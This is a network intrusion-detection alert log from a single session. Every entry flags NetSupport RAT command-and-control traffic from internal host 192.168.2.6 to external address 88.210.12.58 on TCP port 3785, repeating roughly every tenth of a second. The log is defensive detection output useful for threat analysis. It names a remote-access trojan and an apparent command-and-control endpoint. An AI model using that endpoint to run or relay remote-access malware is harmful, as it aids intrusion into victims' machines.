2024-12-06T10:40:35.067455+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.067455+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.167429+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.268714+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.368585+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.469504+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.569481+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.670510+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.770486+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.871478+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:35.972440+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.073446+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.173445+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.273468+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.374440+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.474462+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.575615+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.676452+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.777448+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.877453+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:36.977463+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.077560+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.177471+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.277548+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.378501+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.478493+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.579500+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.679478+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.779482+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.880491+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:37.980474+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.083993+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.181462+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.281499+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.383369+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.483608+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.583661+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.684490+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.784479+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.885472+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:38.987410+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.086469+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.187466+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.288485+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.389612+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.490549+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.591468+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.691545+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.792464+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.892496+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:39.992530+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.093466+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.193459+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.296081+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.396476+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.497514+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.601334+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.699517+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.798501+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.898525+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:40.999512+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:41.100488+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:41.201479+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:41.301562+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:41.401534+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:41.502511+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:41.603509+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:41.703506+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:41.804498+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:41.905479+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.005499+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.106520+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.206534+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.306647+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.407606+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.507575+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.611370+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.711371+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.809681+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:42.911412+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.011375+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.109532+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.209543+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.310486+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.411530+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.512553+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.612501+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.713552+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.813534+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:43.913485+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.015263+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.114494+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.214489+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.314487+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.415612+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.517341+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.615512+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.717350+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.816504+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:44.919356+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.017625+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.118556+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.219547+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.319543+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.420566+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.521536+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.622614+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.722633+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.823553+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:45.924528+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.029385+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.129097+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.229363+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.329354+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.431372+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.531428+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.630590+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.730709+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.831528+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:46.935460+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:47.040638+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:47.140512+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:47.241542+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:47.341572+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:47.441543+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:47.541550+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:47.641548+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:47.742541+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:47.842544+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:47.943500+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.045375+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.144514+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.244514+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.344512+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.444527+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.547421+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.647395+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.745524+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.845515+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.949410+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.047667+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.148528+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.249543+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.350541+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.450555+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.551536+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.651608+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.751553+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.852562+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.952560+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.057391+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.157380+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.256104+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.355462+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.455611+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.555626+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.655568+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.756534+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.857567+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.960213+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:51.058594+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:51.158634+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:51.940552+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:51.940552+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:52.143905+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:52.243445+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:52.343436+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:52.443454+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:52.543545+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:52.645396+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:52.747408+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:52.847549+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:52.947519+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.045607+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.146557+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.246604+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.347606+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.448576+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.548587+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.648555+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.749542+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.849838+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.949573+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:54.053425+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:54.150717+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:54.255777+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:54.567649+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:54.567649+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:54.768578+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:54.869421+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:54.969719+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:55.069554+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:55.169607+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:55.270597+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:55.371669+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:55.472613+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:55.572561+0100	2827745	ETPRO MALWARE NetSupport RAT CnC Activity	1	192.168.2.6	49737	88.210.12.58	3785	TCP
